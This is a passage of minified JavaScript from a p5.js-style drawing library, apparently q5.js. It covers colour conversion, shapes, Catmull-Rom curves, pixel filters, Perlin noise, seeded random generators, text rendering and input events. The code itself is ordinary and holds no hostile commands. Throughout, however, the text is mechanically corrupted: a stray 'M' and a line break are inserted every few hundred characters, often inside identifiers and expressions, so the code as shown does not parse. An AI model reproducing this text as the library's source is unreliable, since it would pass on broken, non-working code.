curveTangent=function(e,t,n,o,a){const r=a*a,i=-3*r/2+2*a-.5,l=9*r/2-5*a,u=-9*r/2+4*a+.5,s=3*r/2-a;return e*i+t*l+n*u+o*s};n.bezierTangent=function(e,t,n,o,a){const r=1-a;return 3*o*Math.pow(a,2)-3*n*Math.pow(a,2)+6*n*r*a-6*t*r*a+3*t*Math.pow(r,2)-3*e*Math.pow(r,2)};function p(e,t,n){let o,a,r,i,l,u,s,c,h;if(0==t)return[255*(o=n),255*(a=n),255*(r=n)];switch((i=e)>360&&(i=0),s=n*(1-t),c=n*(1-t*(u=(i/=60)-(l=~~i))),h=n*(1-t*(1-u)),l){case 0:o=n,a=h,r=s;break;case 1:o=c,a=n,r=s;break;case 2:o=s,a=n,r=h;break;case 3:o=M
s,a=c,r=n;break;case 4:o=h,a=s,r=n;break;default:o=n,a=s,r=c}return[255*o,255*a,255*r]}n.Color=function(e,t,n,o){let a=this;a.MAGIC=786698,a._r=e,a._g=t,a._b=n,a._a=o,a._h=0,a._s=0,a._v=0,a._hsvInferred=!1,a.setRed=function(e){a._r=e,a._hsvInferred=!1},a.setGreen=function(e){a._g=e,a._hsvInferred=!1},a.setBlue=function(e){a._b=e,a._hsvInferred=!1},a.setAlpha=function(e){a._a=e/255,a._hsvInferred=!1},a._inferHSV=function(){a._hsvInferred||([a._h,a._s,a._v]=function(e,t,n){let o,a,r,i,l;if(o=e<t?e<n?e:n:t<n?t:n,0==(lM
=100*(a=e>t?e>n?e:n:t>n?t:n)/255))return[r=0,i=0,l];if(0==(i=100*(a-o)/a))return[r=0,i,l];r=a==e?0+60*(t-n)/(a-o):a==t?120+60*(n-e)/(a-o):240+60*(e-t)/(a-o);return[r,i,l]}(a._r,a._g,a._b),a._hsvInferred=!0)},a.toString=function(){return`rgba(${Math.round(a._r)},${Math.round(a._g)},${Math.round(a._b)},${~~(1e3*a._a)/1e3})`}};n.colorMode=function(e){n._colorMode=e};n.color=function(){if(1==arguments.length&&786698==arguments[0].MAGIC)return arguments[0];if(n._colorMode==n.RGB){if(1==arguments.length)return new n.ColoM
r(arguments[0],arguments[0],arguments[0],1);if(2==arguments.length)return new n.Color(arguments[0],arguments[0],arguments[0],arguments[1]/255);if(3==arguments.length)return new n.Color(arguments[0],arguments[1],arguments[2],1);if(4==arguments.length)return new n.Color(arguments[0],arguments[1],arguments[2],arguments[3]/255)}else{if(1==arguments.length)return new n.Color(...p(0,0,arguments[0]/100),1);if(2==arguments.length)return new n.Color(...p(0,0,arguments[0]/100),arguments[1]/255);if(3==arguments.length)return M
new n.Color(...p(arguments[0],arguments[1]/100,arguments[2]/100),1);if(4==arguments.length)return new n.Color(...p(arguments[0],arguments[1]/100,arguments[2]/100),arguments[3])}return null};n.red=function(e){return e._r};n.green=function(e){return e._g};n.blue=function(e){return e._b};n.alpha=function(e){return 255*e._a};n.hue=function(e){return e._inferHSV(),e._h};n.saturation=function(e){return e._inferHSV(),e._s};n.brightness=function(e){return e._inferHSV(),e._v};n.lightness=function(e){return 100*(.2126*e._r+.M
7152*e._g+.0722*e._b)/255};n.lerpColor=function(e,t,o){return n._colorMode==n.RGB?new n.Color(n.constrain(n.lerp(e._r,t._r,o),0,255),n.constrain(n.lerp(e._g,t._g,o),0,255),n.constrain(n.lerp(e._b,t._b,o),0,255),n.constrain(n.lerp(e._a,t._a,o),0,1)):(e._inferHSV(),t._inferHSV(),new n.Color(n.constrain(function(e,t,o){var a=[[Math.abs(t-e),n.map(o,0,1,e,t)],[Math.abs(t+360-e),n.map(o,0,1,e,t+360)],[Math.abs(t-360-e),n.map(o,0,1,e,t-360)]];return a.sort((e,t)=>e[0]-t[0]),(a[0][1]+720)%360}(e._h,t._h,o),0,360),n.constrM
ain(n.lerp(e._s,t._s,o),0,100),n.constrain(n.lerp(e._v,t._v,o),0,100),n.constrain(n.lerp(e._a,t._a,o),0,1)))};function m(){o.fillStyle="white",o.strokeStyle="black",o.lineCap="round",o.lineJoin="miter"}n.strokeWeight=function(e){n._noStroke=!1,o.lineWidth=e};n.stroke=function(){if(n._noStroke=!1,"string"==typeof arguments[0])return void(o.strokeStyle=arguments[0]);let e=n.color.apply(null,arguments);e._a<=0?n._noStroke=!0:o.strokeStyle=e};n.noStroke=function(){n._noStroke=!0};n.fill=function(){if(n._noFill=!1,"striM
ng"==typeof arguments[0])return void(o.fillStyle=arguments[0]);let e=n.color.apply(null,arguments);e._a<=0?n._noFill=!0:o.fillStyle=e};n.noFill=function(){n._noFill=!0};n.blendMode=function(e){o.globalCompositeOperation=e};n.strokeCap=function(e){o.lineCap=e};n.strokeJoin=function(e){o.lineJoin=e};n.ellipseMode=function(e){n._ellipseMode=e};n.rectMode=function(e){n._rectMode=e};n.curveDetail=function(e){n._curveDetail=e};n.curveAlpha=function(e){n._curveAlpha=e};n.curveTightness=function(e){console.warn("curveTightM
ness() sets the 'alpha' parameter of Catmull-Rom curve, and is NOT identical to p5.js counterpart. As this might change in the future, please call curveAlpha() directly."),n._curveAlpha=e};n.clear=function(){o.clearRect(0,0,n.width,n.height)};n.background=function(){if(arguments[0]&&arguments[0].MAGIC==n.MAGIC)return n.image(arguments[0],0,0,n.width,n.height);o.save(),o.resetTransform(),"string"==typeof arguments[0]?o.fillStyle=arguments[0]:o.fillStyle=n.color(...Array.from(arguments)),o.fillRect(0,0,n.width,n.heigM
ht),o.restore()};n.line=function(e,t,a,r){n._noStroke||(o.beginPath(),o.moveTo(e,t),o.lineTo(a,r),o.stroke())};function g(e){if(0<=e&&e<2*Math.PI)return e;for(;e<0;)e+=2*Math.PI;for(;e>=Math.PI;)e-=2*Math.PI;return e}function v(e,t,a,r,i,l,u,s){if(n._noFill&&n._noStroke)return;let c=g(i),h=g(l);o.beginPath();for(let i=0;i<s+1;i++){let l=i/s,u=n.lerp(c,h,l),f=Math.cos(u)*a/2,d=Math.sin(u)*r/2;o[i?"lineTo":"moveTo"](e+f,t+d)}u==n.CHORD?o.closePath():u==n.PIE&&(o.lineTo(e,t),o.closePath()),n._noFill||o.fill(),n._noStrM
oke||o.stroke()}n.arc=function(e,t,o,a,r,i,l,u){if(r==i)return n.ellipse(e,t,o,a);null==u&&(u=25),null==l&&(l=n.PIE),n._ellipseMode==n.CENTER?v(e,t,o,a,r,i,l,u):n._ellipseMode==n.RADIUS?v(e,t,2*o,2*a,r,i,l,u):n._ellipseMode==n.CORNER?v(e+o/2,t+a/2,o,a,r,i,l,u):n._ellipseMode==n.CORNERS&&v((e+o)/2,(t+a)/2,o-e,a-t,r,i,l,u)};function M(e,t,a,r){n._noFill&&n._noStroke||(o.beginPath(),o.ellipse(e,t,a/2,r/2,0,0,2*Math.PI),n._noFill||o.fill(),n._noStroke||o.stroke())}n.ellipse=function(e,t,o,a){null==a&&(a=o),n._ellipseMoM
de==n.CENTER?M(e,t,o,a):n._ellipseMode==n.RADIUS?M(e,t,2*o,2*a):n._ellipseMode==n.CORNER?M(e+o/2,t+a/2,o,a):n._ellipseMode==n.CORNERS&&M((e+o)/2,(t+a)/2,o-e,a-t)};n.circle=function(e,t,o){return n.ellipse(e,t,o,o)};n.point=function(e,t){e.x&&(t=e.y,e=e.x),o.beginPath(),o.ellipse(e,t,.4,.4,0,0,2*Math.PI),o.stroke()};function _(e,t,a,r,i,l,u,s){if(n._noFill&&n._noStroke)return;if(null==i)return function(e,t,a,r){n._noFill||o.fillRect(e,t,a,r);n._noStroke||o.strokeRect(e,t,a,r)}(e,t,a,r);if(null==l)return _(e,t,a,r,i,M
i,i,i);const c=Math.min(Math.abs(r),Math.abs(a))/2;i=Math.min(c,i),l=Math.min(c,l),s=Math.min(c,s),u=Math.min(c,u),o.beginPath(),o.moveTo(e+i,t),o.arcTo(e+a,t,e+a,t+r,l),o.arcTo(e+a,t+r,e,t+r,u),o.arcTo(e,t+r,e,t,s),o.arcTo(e,t,e+a,t,i),o.closePath(),n._noFill||o.fill(),n._noStroke||o.stroke()}n.rect=function(e,t,o,a,r,i,l,u){n._rectMode==n.CENTER?_(e-o/2,t-a/2,o,a,r,i,l,u):n._rectMode==n.RADIUS?_(e-o,t-a,2*o,2*a,r,i,l,u):n._rectMode==n.CORNER?_(e,t,o,a,r,i,l,u):n._rectMode==n.CORNERS&&_(e,t,o-e,a-t,r,i,l,u)};n.squM
are=function(e,t,o,a,r,i,l){return n.rect(e,t,o,o,a,r,i,l)};function x(){i=[]}n.beginShape=function(){x(),o.beginPath(),r=!0};n.beginContour=function(){o.closePath(),x(),r=!0};n.endContour=function(){x(),r=!0};n.vertex=function(e,t){x(),r?o.moveTo(e,t):o.lineTo(e,t),r=!1};n.bezierVertex=function(e,t,n,a,r,i){x(),o.bezierCurveTo(e,t,n,a,r,i)};n.quadraticVertex=function(e,t,n,a){x(),o.quadraticCurveTo(e,t,n,a)};n.bezier=function(e,t,o,a,r,i,l,u){n.beginShape(),n.vertex(e,t),n.bezierVertex(o,a,r,i,l,u),n.endShape()};nM
.triangle=function(e,t,o,a,r,i){n.beginShape(),n.vertex(e,t),n.vertex(o,a),n.vertex(r,i),n.endShape(n.CLOSE)};n.quad=function(e,t,o,a,r,i,l,u){n.beginShape(),n.vertex(e,t),n.vertex(o,a),n.vertex(r,i),n.vertex(l,u),n.endShape(n.CLOSE)};n.endShape=function(e){x(),e&&o.closePath(),n._noFill||o.fill(),n._noStroke||o.stroke(),n._noFill&&n._noStroke&&(o.save(),o.fillStyle="none",o.fill(),o.restore())};n.curveVertex=function(e,t){if(i.push([e,t]),i.length<4)return;let a=i[i.length-4],l=i[i.length-3],u=i[i.length-2],s=i[i.M
length-1],c=function(e,t,n,o,a,r,i,l,u,s){function c(e,t,n,o,a,r){let i=Math.pow(o-t,2)+Math.pow(a-n,2),l=Math.pow(i,.5*r);return l+e}let h=[],f=c(0,e,t,n,o,s),d=c(f,n,o,a,r,s),p=c(d,a,r,i,l,s);for(let s=0;s<u;s++){let c=f+s/(u-1)*(d-f),m=[(f-c)/(f-0),(c-0)/(f-0),(d-c)/(d-f),(c-f)/(d-f),(p-c)/(p-d),(c-d)/(p-d),(d-c)/(d-0),(c-0)/(d-0),(p-c)/(p-f),(c-f)/(p-f)];for(let e=0;e<m.length;e+=2)isNaN(m[e])&&(m[e]=1,m[e+1]=0),isFinite(m[e])||(m[e]>0?(m[e]=1,m[e+1]=0):(m[e]=0,m[e+1]=1));let g=e*m[0]+n*m[1],v=t*m[0]+o*m[1],M=nM
*m[2]+a*m[3],_=o*m[2]+r*m[3],x=a*m[4]+i*m[5],y=r*m[4]+l*m[5],w=g*m[6]+M*m[7],R=v*m[6]+_*m[7],I=M*m[8]+x*m[9],E=_*m[8]+y*m[9],S=w*m[2]+I*m[3],C=R*m[2]+E*m[3];h.push([S,C])}return h}(...a,...l,...u,...s,n._curveDetail,n._curveAlpha);for(let e=0;e<c.length;e++)r?o.moveTo(...c[e]):o.lineTo(...c[e]),r=!1};n.curve=function(e,t,o,a,r,i,l,u){n.beginShape(),n.curveVertex(e,t),n.curveVertex(o,a),n.curveVertex(r,i),n.curveVertex(l,u),n.endShape()};n.translate=function(e,t){o.translate(e,t)};n.rotate=function(e){o.rotate(e)};nM
.scale=function(e,t){null==t&&(t=e),o.scale(e,t)};n.applyMatrix=function(e,t,n,a,r,i){o.transform(e,t,n,a,r,i)};n.shearX=function(e){o.transform(1,0,Math.tan(e),1,0,0)};n.shearY=function(e){o.transform(1,Math.tan(e),0,1,0,0)};n.resetMatrix=function(){o.resetTransform(),o.scale(n._pixelDensity,n._pixelDensity)};n.pushMatrix=n.push=function(){o.save()};n.popMatrix=n.pop=function(){o.restore()};n.image=function(e,t,a,r,i,l,u,s,c){let h=e.MAGIC==n.MAGIC?e.canvas:e;function d(){if(e.MAGIC!=n.MAGIC||!n._tint)return;let tM
=e.canvas.getContext("2d");t.save(),t.resetTransform(),t.clearRect(0,0,t.canvas.width,t.canvas.height),t.drawImage(f.canvas,0,0),t.restore()}return e.MAGIC==n.MAGIC&&null!=n._tint&&(!function(e,t){null==f&&(f=document.createElement("canvas").getContext("2d"));null==e&&(e=o.canvas.width,t=o.canvas.height);f.canvas.width==e&&f.canvas.height==t||(f.canvas.width=e,f.canvas.height=t)}(e.canvas.width,e.canvas.height),f.drawImage(e.canvas,0,0),e.tinted(n._tint)),r?l?(s||(s=h.width),c||(c=h.height),o.drawImage(h,l,u,s,c,t,M
a,r,i),void d()):(o.drawImage(h,t,a,r,i),void d()):(e.MAGIC==n.MAGIC||e.width?o.drawImage(h,t,a,e.width,e.height):o.drawImage(h,t,a,e.videoWidth,e.videoHeight),void d())};n.loadPixels=function(){l=o.getImageData(0,0,n.canvas.width,n.canvas.height),n.pixels=l.data};n.updatePixels=function(){null!=l&&o.putImageData(l,0,0)};n.loadImage=function(e,t){u++;let o=n.createGraphics(100,100),a=o.canvas.getContext("2d"),r=new Image;return r.src=e,r.crossOrigin="Anonymous",r.onload=function(){a.canvas.width=r.width,a.canvas.heM
ight=r.height,o.width=r.width,o.height=r.height,a.drawImage(r,0,0),u--,t&&t(o)},o};let y={};y[n.THRESHOLD]=function(e,t){null==t?t=127.5:t*=255;for(let n=0;n<e.length;n+=4){const o=.2126*e[n]+.7152*e[n+1]+.0722*e[n+2];e[n]=e[n+1]=e[n+2]=o>=t?255:0}};y[n.GRAY]=function(e){for(let t=0;t<e.length;t+=4){const n=.2126*e[t]+.7152*e[t+1]+.0722*e[t+2];e[t]=e[t+1]=e[t+2]=n}};y[n.OPAQUE]=function(e){for(let t=0;t<e.length;t+=4)e[t+3]=255};y[n.INVERT]=function(e){for(let t=0;t<e.length;t+=4)e[t]=255-e[t],e[t+1]=255-e[t+1],e[tM
+2]=255-e[t+2]};y[n.POSTERIZE]=function(e,t){let n=t-1;for(let o=0;o<e.length;o+=4)e[o]=255*(e[o]*t>>8)/n,e[o+1]=255*(e[o+1]*t>>8)/n,e[o+2]=255*(e[o+2]*t>>8)/n};y[n.DILATE]=function(e){R(),d.set(e);let[t,n]=[o.canvas.width,o.canvas.height];for(let o=0;o<n;o++)for(let a=0;a<t;a++){let r=4*Math.max(a-1,0),i=4*Math.min(a+1,t-1),l=4*Math.max(o-1,0)*t,u=4*Math.min(o+1,n-1)*t,s=4*o*t,c=4*a;for(let t=0;t<4;t++){let n=t+l,o=t+u,a=t+s;e[s+c+t]=Math.max(d[n+c],d[a+r],d[a+c],d[a+i],d[o+c])}}};y[n.ERODE]=function(e){R(),d.set(M
e);let[t,n]=[o.canvas.width,o.canvas.height];for(let o=0;o<n;o++)for(let a=0;a<t;a++){let r=4*Math.max(a-1,0),i=4*Math.min(a+1,t-1),l=4*Math.max(o-1,0)*t,u=4*Math.min(o+1,n-1)*t,s=4*o*t,c=4*a;for(let t=0;t<4;t++){let n=t+l,o=t+u,a=t+s;e[s+c+t]=Math.min(d[n+c],d[a+r],d[a+c],d[a+i],d[o+c])}}};y[n.BLUR]=function(e,t){t=t||1,t=Math.floor(t*n._pixelDensity),R(),d.set(e);let a=2*t+1;let r=function(e){let n=new Float32Array(e),o=.3*t+.8,a=o*o*2;for(let t=0;t<e;t++){let r=t-e/2,i=Math.exp(-r*r/a)/(2.5066282746*o);n[t]=i}reM
turn n}(a),[i,l]=[o.canvas.width,o.canvas.height];for(let n=0;n<l;n++)for(let o=0;o<i;o++){let l=0,u=0,s=0,c=0;for(let e=0;e<a;e++){let a=Math.min(Math.max(o-t+e,0),i-1),h=4*(n*i+a);l+=d[h]*r[e],u+=d[h+1]*r[e],s+=d[h+2]*r[e],c+=d[h+3]*r[e]}let h=4*(n*i+o);e[h]=l,e[h+1]=u,e[h+2]=s,e[h+3]=c}d.set(e);for(let n=0;n<l;n++)for(let o=0;o<i;o++){let u=0,s=0,c=0,h=0;for(let e=0;e<a;e++){let a=Math.min(Math.max(n-t+e,0),l-1),f=4*(a*i+o);u+=d[f]*r[e],s+=d[f+1]*r[e],c+=d[f+2]*r[e],h+=d[f+3]*r[e]}let f=4*(n*i+o);e[f]=u,e[f+1]=sM
,e[f+2]=c,e[f+3]=h}};function w(e,t){null==h&&(h=document.createElement("canvas").getContext("2d")),null==e&&(e=o.canvas.width,t=o.canvas.height),h.canvas.width==e&&h.canvas.height==t||(h.canvas.width=e,h.canvas.height=t)}function R(){let e=o.canvas.width*o.canvas.height*4;null!=d&&e==d.length||(d=new Uint8ClampedArray(e))}function I(e){h.clearRect(0,0,h.canvas.width,h.canvas.height),h.filter=e,h.drawImage(o.canvas,0,0),o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvasM
,0,0),o.restore()}n.filter=function(e,t){let a=n.HARDWARE_FILTERS&&null!=o.filter;if(a)if(w(),e==n.THRESHOLD){null==t&&(t=.5),t=Math.max(t,1e-5);let e=Math.floor(.5/t*100);I(`saturate(0%) brightness(${e}%) contrast(1000000%)`)}else if(e==n.GRAY)I("saturate(0%)");else if(e==n.OPAQUE)h.fillStyle="black",h.fillRect(0,0,h.canvas.width,h.canvas.height),h.drawImage(o.canvas,0,0),o.save(),o.resetTransform(),o.drawImage(h.canvas,0,0),o.restore();else if(e==n.INVERT)I("invert(100%)");else if(e==n.BLUR)I(`blur(${Math.ceil(t*M
n._pixelDensity/1)||1}px)`);else{let n=o.getImageData(0,0,o.canvas.width,o.canvas.height);y[e](n.data,t),o.putImageData(n,0,0)}else{let n=o.getImageData(0,0,o.canvas.width,o.canvas.height);y[e](n.data,t),o.putImageData(n,0,0)}};n.resize=function(e,t){w(),h.drawImage(o.canvas,0,0),n.width=e,n.height=t,o.canvas.width=e*n._pixelDensity,o.canvas.height=t*n._pixelDensity,o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvas,0,0,o.canvas.width,o.canvas.height),o.restore()};n.getM
=function(e,t,a,r){if(null!=e&&null==a){let a=o.getImageData(e,t,1,1).data;return new n.Color(a[0],a[1],a[2],a[3]/255)}e=e||0,t=t||0,a=a||n.width,r=r||n.height;let i=n.createGraphics(a,r);i.pixelDensity(n._pixelDensity);let l=o.getImageData(e*n._pixelDensity,t*n._pixelDensity,a*n._pixelDensity,r*n._pixelDensity);return i.canvas.getContext("2d").putImageData(l,0,0),i};n.set=function(e,t,a){if(a.MAGIC==n.MAGIC){let o=n._tint;return n._tint=null,n.image(a,e,t),void(n._tint=o)}let r=4*(t*n._pixelDensity*o.canvas.width+M
e*n._pixelDensity);n.pixels[r]=a._r,n.pixels[r+1]=a._g,n.pixels[r+2]=a._b,n.pixels[r+3]=255*a._a};n.tinted=function(){let e=n.color(...Array.from(arguments)),t=e._a;e._a=1,w(),h.clearRect(0,0,h.canvas.width,h.canvas.height),h.fillStyle=e,h.fillRect(0,0,h.canvas.width,h.canvas.height),h.globalCompositeOperation="multiply",h.drawImage(o.canvas,0,0),h.globalCompositeOperation="source-over",o.save(),o.resetTransform();let a=o.globalCompositeOperation;o.globalCompositeOperation="source-in",o.drawImage(h.canvas,0,0),o.glM
obalCompositeOperation=a,o.restore(),h.globalAlpha=t,h.clearRect(0,0,h.canvas.width,h.canvas.height),h.drawImage(o.canvas,0,0),h.globalAlpha=1,o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvas,0,0),o.restore()};n.tint=function(){n._tint=n.color(...Array.from(arguments))};n.noTint=function(){n._tint=null};n.mask=function(e){o.save(),o.resetTransform();let t=o.globalCompositeOperation;o.globalCompositeOperation="destination-in",o.drawImage(e.canvas,0,0),o.globalCompositeM
Operation=t,o.restore()};n.clearTemporaryBuffers=function(){h=null,f=null,d=null};n.save=function(e,t){e=e||"untitled",t=t||"png";var n=document.createElement("a");n.innerHTML="[Download]",n.addEventListener("click",function(){this.href=o.canvas.toDataURL(),this.download=e+"."+t},!1),document.body.appendChild(n),n.click(),document.body.removeChild(n)};n.saveCanvas=function(e,t,o){if(e.MAGIC==n.MAGIC){o&&e.save(t,o);let n=t.split(".");return e.save(n.slice(0,-1).join("."),n[n.length-1])}if(t)return n.save(e,t);let aM
=e.split(".");return n.save(a.slice(0,-1).join("."),a[a.length-1])};n.loadFont=function(e,t){let n=e.split("/"),o=n[n.length-1].split(".")[0].replace(" ",""),a=`@font-face {\n        font-family: '${o}';\n        src: url('${e}');\n      }`;const r=document.createElement("style");return r.textContent=a,document.head.append(r),o};n.textFont=function(e){n._textFont=e};n.textSize=function(e){n._textSize=e,n._textLeading=e};n.textLeading=function(e){n._textLeading=e};n.textStyle=function(e){n._textStyle=e};n.textAlign=M
function(e,t){o.textAlign=e,t&&(o.textBaseline=t==n.CENTER?"middle":t)};n.text=function(e,t,a,r){if(!e)return;if(e=e.toString(),n._noFill&&n._noStroke)return;o.font=`${n._textStyle} ${n._textSize}px ${n._textFont}`;let i=e.split("\n");for(let e=0;e<i.length;e++)n._noFill||o.fillText(i[e],t,a,r),n._noStroke||o.strokeText(i[e],t,a,r),a+=n._textLeading};n.textWidth=function(e){return o.font=`${n._textStyle} ${n._textSize}px ${n._textFont}`,o.measureText(e).width};n.textAscent=function(e){return o.font=`${n._textStyle}M
 ${n._textSize}px ${n._textFont}`,o.measureText(e).actualBoundingBoxAscent};n.textDescent=function(e){return o.font=`${n._textStyle} ${n._textSize}px ${n._textFont}`,o.measureText(e).actualBoundingBoxDescent};var E=4;var S=.5;var C=function(e){return.5*(1-Math.cos(e*Math.PI))};var A;n.noise=function(e,t,n){if(t=t||0,n=n||0,null==A){A=new Array(4096);for(var o=0;o<4096;o++)A[o]=Math.random()}e<0&&(e=-e),t<0&&(t=-t),n<0&&(n=-n);for(var a,r,i,l,u,s=Math.floor(e),c=Math.floor(t),h=Math.floor(n),f=e-s,d=t-c,p=n-h,m=0,g=M
.5,v=0;v<E;v++){var M=s+(c<<4)+(h<<8);a=C(f),r=C(d),i=A[4095&M],i+=a*(A[M+1&4095]-i),l=A[M+16&4095],l+=a*(A[M+16+1&4095]-l),i+=r*(l-i),l=A[4095&(M+=256)],l+=a*(A[M+1&4095]-l),u=A[M+16&4095],u+=a*(A[M+16+1&4095]-u),l+=r*(u-l),i+=C(p)*(l-i),m+=i*g,g*=S,s<<=1,c<<=1,h<<=1,(f*=2)>=1&&(s++,f--),(d*=2)>=1&&(c++,d--),(p*=2)>=1&&(h++,p--)}return m};n.noiseDetail=function(e,t){e>0&&(E=e),t>0&&(S=t)};const T=function(){let e,t,n=4294967295;return{setSeed(o){e=t=(null==o?Math.random()*n:o)>>>0},getSeed:()=>t,rand:()=>(e^=e<<17M
,e^=e>>13,((e^=e<<5)>>>0)/n)}};let D=T();D.setSeed();n.noiseSeed=function(e){let t=null==e?4294967295*Math.random():e;A||(A=new Float32Array(4096));for(var n=0;n<4096;n++)t^=t<<17,t^=t>>13,t^=t<<5,A[n]=(t>>>0)/4294967295};n.randomSeed=function(e){D.setSeed(e)};n.random=function(e,t){return"number"==typeof e?null!=t?D.rand()*(t-e)+e:D.rand()*e:e[~~(e.length*D.rand())]};n.randomGenerator=function(e){e==n.LCG?D=function(){const e=4294967296;let t,n;return{setSeed(o){n=t=(null==o?Math.random()*e:o)>>>0},getSeed:()=>t,rM
and:()=>(n=(1664525*n+1013904223)%e)/e}}():e==n.SHR3&&(D=T()),D.setSeed()};var P=new function(){var e,t,n,o=new Array(128),a=new Array(256),r=new Array(128),i=new Array(128),l=new Array(256),u=new Array(256),s=function(){return 4294967296*D.rand()-2147483648},c=function(){return.5+2.328306e-10*(s()<<0)},h=function(){for(var t,a,l,u,h=3.44262;;){if(t=n*r[e],0==e){do{l=c(),u=c(),t=.2904764*-Math.log(l),a=-Math.log(u)}while(a+a<t*t);return n>0?h+t:-h-t}if(i[e]+c()*(i[e-1]-i[e])<Math.exp(-.5*t*t))return t;if(n=s(),e=12M
7&n,Math.abs(n)<o[e])return n*r[e]}},f=function(){for(var n;;){if(0==e)return 7.69711-Math.log(c());if(n=t*l[e],u[e]+c()*(u[e-1]-u[e])<Math.exp(-n))return n;if((t=s())<a[e=255&t])return t*l[e]}};this.SHR3=s,this.UNI=c,this.RNOR=function(){return n=s(),e=127&n,Math.abs(n)<o[e]?n*r[e]:h()},this.REXP=function(){return(t=s()>>>0)<o[e=255&t]?t*l[e]:f()},this.zigset=function(){var e,t,n=2147483648,s=4294967296,c=3.442619855899,h=c,f=.00991256303526217,d=7.697117470131487,p=d,m=.003949659822581572;for(e=f/Math.exp(-.5*c*cM
),o[0]=Math.floor(c/e*n),o[1]=0,r[0]=e/n,r[127]=c/n,i[0]=1,i[127]=Math.exp(-.5*c*c),t=126;t>=1;t--)c=Math.sqrt(-2*Math.log(f/c+Math.exp(-.5*c*c))),o[t+1]=Math.floor(c/h*n),h=c,i[t]=Math.exp(-.5*c*c),r[t]=c/n;for(e=m/Math.exp(-d),a[0]=Math.floor(d/e*s),a[1]=0,l[0]=e/s,l[255]=d/s,u[0]=1,u[255]=Math.exp(-d),t=254;t>=1;t--)d=-Math.log(m/d+Math.exp(-d)),a[t+1]=Math.floor(d/p*s),p=d,u[t]=Math.exp(-d),l[t]=d/s}};P.hasInit=!1;n.randomGaussian=function(e,t){return P.hasInit||(P.zigset(),P.hasInit=!0),P.RNOR()*t+e};n.randomEM
xponential=function(){return P.hasInit||(P.zigset(),P.hasInit=!0),P.REXP()};n.print=console.log;n.cursor=function(e,t,o){let a="";e.includes(".")&&(e=`url("${e}")`,a=", auto"),null!=t&&(e+=" "+t+" "+o),n.canvas.style.cursor=e+a};n.noCursor=function(){n.canvas.style.cursor="none"};n.createCapture=function(e){var t=document.createElement("video");return t.playsinline="playsinline",t.autoplay="autoplay",navigator.mediaDevices.getUserMedia(e).then(function(e){t.srcObject=e}),t.style.position="absolute",t.style.opacity=M
1e-5,t.style.zIndex=-1e3,document.body.appendChild(t),t};let b=["setup","draw","preload","mouseMoved","mousePressed","mouseReleased","mouseDragged","mouseClicked","keyPressed","keyReleased","keyTyped","touchStarted","touchEnded"];for(let e of b){let t="_"+e+"Fn";n[t]=function(){},n[t].isPlaceHolder=!0,n[e]?n[t]=n[e]:Object.defineProperty(n,e,{set:function(e){n[t]=e}})}function z(){n._noLoop||(a=null==n._frameRate?requestAnimationFrame(z):setTimeout(z,1e3/n._frameRate)),x(),r=!0,o.save(),n._drawFn(),o.restore(),n.frM
ameCount++}n.noLoop=function(){n._noLoop=!0,a=null};n.loop=function(){n._noLoop=!1,null==a&&z()};n.redraw=function(){z()};n.frameRate=function(e){n._frameRate=e};setTimeout(function(){n._preloadFn(),c=window.performance.now(),function e(){if(u>0)return setTimeout(e,10);n._setupFn();z()}()},1);n.canvas.onmousemove=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed?n._mouseDraggedFn(e):n._mouseMovedFn(e)};n.canvas.onmousedown=function(e){n.pmouseX=n.mouseX,n.pmousM
eY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!0,n.mouseButton=[n.LEFT,n.CENTER,n.RIGHT][e.button],n._mousePressedFn(e)};n.canvas.onmouseup=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!1,n._mouseReleasedFn(e)};n.canvas.onclick=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!0,n._mouseClickedFn(e),n.mouseIsPressed=!1};window.addEventListener("keydown",function(e){n.keyIsPressed=M
!0,n.key=e.key,n.keyCode=e.keyCode,s[n.keyCode]=!0,n._keyPressedFn(e),1==e.key.length&&n._keyTypedFn(e)});window.addEventListener("keyup",function(e){n.keyIsPressed=!1,n.key=e.key,n.keyCode=e.keyCode,s[n.keyCode]=!1,n._keyReleasedFn(e)});n.keyIsDown=function(e){return!!s[e]};function O(e){const t=n.canvas.getBoundingClientRect(),o=n.canvas.scrollWidth/n.width||1,a=n.canvas.scrollHeight/n.height||1;return{x:(e.clientX-t.left)/o,y:(e.clientY-t.top)/a,id:e.identifier}}function k(){return n._touchStarted.isPlaceHolder&M
&n._touchMoved.isPlaceHolder&&n._touchEnded.isPlaceHolder}n.canvas.ontouchstart=function(e){n.touches=e.touches.map(O),k()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!0,n.mouseButton=n.LEFT,n._mousePressedFn(e)||e.preventDefault()),n._touchStartedFn(e)||e.preventDefault()};n.canvas.ontouchmove=function(e){n.touches=e.touches.map(O),k()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!0,n.mouseButtoM
n=n.LEFT,n._mouseDraggedFn(e)||e.preventDefault()),n._touchMovedFn(e)||e.preventDefault()};n.canvas.ontouchend=n.canvas.ontouchcancel=function(e){n.touches=e.touches.map(O),k()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!1,n._mouseReleasedFn(e)||e.preventDefault()),n._touchEndedFn(e)||e.preventDefault()};n.hasSensorPermission=!window.DeviceOrientationEvent&&!window.DeviceMotionEvent||!(DeviceOrientationEvent.requestPermission||DeviceMotionEvent.requestPeM
